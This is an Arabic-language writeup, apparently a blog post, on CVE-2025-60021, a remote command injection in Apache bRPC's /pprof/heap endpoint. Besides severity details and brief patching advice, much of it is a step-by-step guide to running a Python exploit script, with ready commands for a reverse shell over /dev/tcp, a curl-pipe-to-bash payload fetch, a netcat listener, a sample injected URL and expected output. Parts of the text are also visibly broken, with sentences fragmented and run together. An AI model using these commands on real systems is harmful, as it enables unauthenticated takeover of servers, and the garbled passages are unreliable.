
CVE-2025-60021

CVE-2025-60021 هي ثغرة حرجة لحقن الأوامر عن بُعد تم اكتشافها في خدمة أداة تحليل الكومة المدمجة (/pprof/heap) في Apache bRPC إصدارات أقدم من 1.15.0، مما يسمح للمهاجمين غير الموثَّقين بتنفيذ أوامر نظام عشوائية. (NVD)
| السمة | المعلومات |
|---|---|
| الاسم / المعرف | CVE-2025-60021 |
| المنتج | Apache bRPC (جميع المنصات) |
| الإصدارات المتأثرة | < 1.15.0 |
| تاريخ النشر | 16 يناير 2026 (NVD) |
| نوع الثغرة | حقن أوامر عن بُعد (CWE-77) (NVD) |
| نقطة النهاية | /pprof/heap |
| المُحفِّز | معامل extra_options غير المعقّم |
| السبب الجذري | عدم التحقق من المدخلات قبل تنفيذها كأمر نظام (openwall.com) |
❗يمكن للمهاجمين حقن الأوامر عن بُعد ببساطة عن طريق التلاعب بهذا المعامل الخاص بالتحليل.
🔥 تصنيف الخطورة: حرج
📊 درجة CVSS v3.1 الأساسية: 9.8 / 10
المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
👉 هذا يعني أن المهاجمين يمكنهم تنفيذ أوامر عشوائية عن بُعد دون تسجيل دخول — أسوأ سيناريو للخدمات المكشوفة.
/pprof/heap) مخصصة لتحليل الذاكرة (jemalloc). (openwall.com)extra_options. بدلاً من تعقيمه، تمرره bRPC مباشرةً إلى واجهة أوامر النظام. (openwall.com)يفترض هذا أنك حفظت البرنامج النصي باسم CVE-2025-60021.py (على الرغم من أن CVE الحقيقية هي 2025-60021 — لا تتردد في إعادة تسميته). إنه برنامج Python 3 لإظهار ثغرة حقن الأوامر عن بُعد في أداة تحليل الكومة في Apache bRPC. قم بتشغيله فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها — الاستغلال دون إذن غير قانوني.
بيئة Python: تأكد من تثبيت Python 3 (مثل 3.6+). يستخدم البرنامج النصي وحدات مدمجة بالإضافة إلى requests و argparse (وهي قياسية أو سهلة التثبيت).
تثبيت التبعيات: إذا لم تكن موجودة بالفعل، قم بتثبيت مكتبة requests:
pip install requests
إعداد الهدف: تحتاج إلى خادم Apache bRPC ضعيف:
http://localhost:8060 أو IP/منفذ بعيد).
إذا كنت تختبر محليًا، قم بإعداد نسخة ضعيفة من bRPC (مثل عبر Docker أو بناء المصدر — راجع وثائق Apache bRPC).الأذونات: قم بتشغيله مع sudo فقط إذا لزم الأمر للوصول إلى الشبكة أو الامتيازات؛ وإلا فإن python3 العادي يكفي.
انسخ كود PoC الذي قدمته سابقًا في ملف باسم CVE-2025-60021.py. اجعله قابلاً للتنفيذ إذا أردت:
chmod +x CVE-2025-60021.py
يأخذ البرنامج النصي وسيطتين موضعيتين مطلوبتين:
target: رابط خادم bRPC الضعيف (مثل http://192.168.1.100:8060 أو http://targets:8060 — أصلح أي أخطاء مطبعية مثل المخطط المفقود أو المضيف غير الصالح).cmd: الأمر المراد تنفيذه على الهدف (مثل "id" لمعلومات المستخدم، أو شيء أكثر تعقيدًا مثل "curl http://your-server/reverse-shell.sh | bash" لصدفة عكسية). استخدم && أو ; لربط أوامر متعددة.افتح terminal (مثل Kali Linux كما تستخدم) ونفذه مع هدفك وأمرك. أمثلة الأوامر:
اختبار أساسي (الحصول على معلومات النظام):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
مثال صدفة عكسية (استبدل your-listener-ip والمنفذ؛ قم بإعداد مستمع مثل nc -lvnp 4444 أولاً):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
إذا كنت تستخدم HTTPS أو منفذًا مختلفًا، اضبط الرابط وفقًا لذلك (مثل https://target:443 — البرنامج النصي يتعامل معه، ولكن أضف --insecure إذا كانت هناك مشكلات في الشهادة).
مؤشرات النجاح:
uid=0(root)... إذا نفذ id).مؤشرات الفشل (مثل ما رأيته):
--enable_heap_profiler=true) وأعد تشغيل الخادم.cmd — قم بتضمينها دائمًا.echo "test" > /tmp/proof.txt) وتحقق من الملف على الهدف.;، جرب && أو | للربط. قم بتشفير الأحرف الخاصة في الرابط إذا لزم الأمر (البرنامج النصي يتعامل مع معظمها)./pprof/heap.إذا نجح الاستغلال على هدف ضعيف (مثل تم تفعيل أداة تحليل الكومة، نسخة غير مصححة من bRPC <1.15.0)، فستبدو المخرجات في الطرفية الخاصة بك شيئًا كهذا (تعتمد التفاصيل الدقيقة على stdout الأمر وإعدادات الخادم):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[يتبعها بيانات ملف تعريف الكومة أو مخرجات ثنائية من jemalloc، مثل إحصائيات الذاكرة أو تفريغ]
العلامات الرئيسية: حالة 200 OK، وإذا كان الأمر (مثل id && whoami && uname -a) ينتج مخرجات، فقد تظهر في نص الاستجابة (مختلطة ببيانات التحليل). بالنسبة للأوامر الصامتة (مثل الصدفة العكسية)، تحقق من خادم الهدف أو المستمع الخاص بك للنشاط — لا تأكيد مباشر في الطرفية بخلاف 200. 😈
/pprof/heap من الشبكات غير الموثوقة.✔ لا يحتاج المهاجمون إلى بيانات اعتماد. ✔ يعمل عبر الشبكة. ✔ يؤثر على جميع المنصات التي تستخدم bRPC ضعيف. ✔ يمكن أن يؤدي إلى اختراق كامل للنظام.
الشركات التي تستخدم bRPC في خدمات حرجة (مثل البحث، التخزين، خطوط أنابيب التعلم الآلي) معرضة للخطر بشكل خاص لأن هذا الخلل يحول أداة تشخيصية إلى متجه هجوم. (Daily CyberSecurity)
⚠ EPSS (نظام تسجيل الاستغلال المتوقع): تشير بعض المصادر إلى ملاحظة منخفضة للاستغلال حتى الآن، لكن سهولة الاستغلال تعني أنه يمكن استغلاله بسرعة في هجمات حقيقية. (Tenable®)
📌 التصنيف: CWE-77 — تحييد غير صحيح للعناصر الخاصة في أمر (حقن أمر). (NVD)
إذا كنت تدير Apache bRPC في الإنتاج — قم بالتصحيح فورًا وقيد الوصول إلى نقاط النهاية التشخيصية لتقليل المخاطر.
| فئة التأثير | التأثير |
|---|
| السرية | عالي | |
| السلامة | عالي | |
| التوفر | عالي | |
| متجه الهجوم | شبكة | |
| الامتيازات | لا حاجة | |
| تفاعل المستخدم | لا حاجة | (INCIBE) |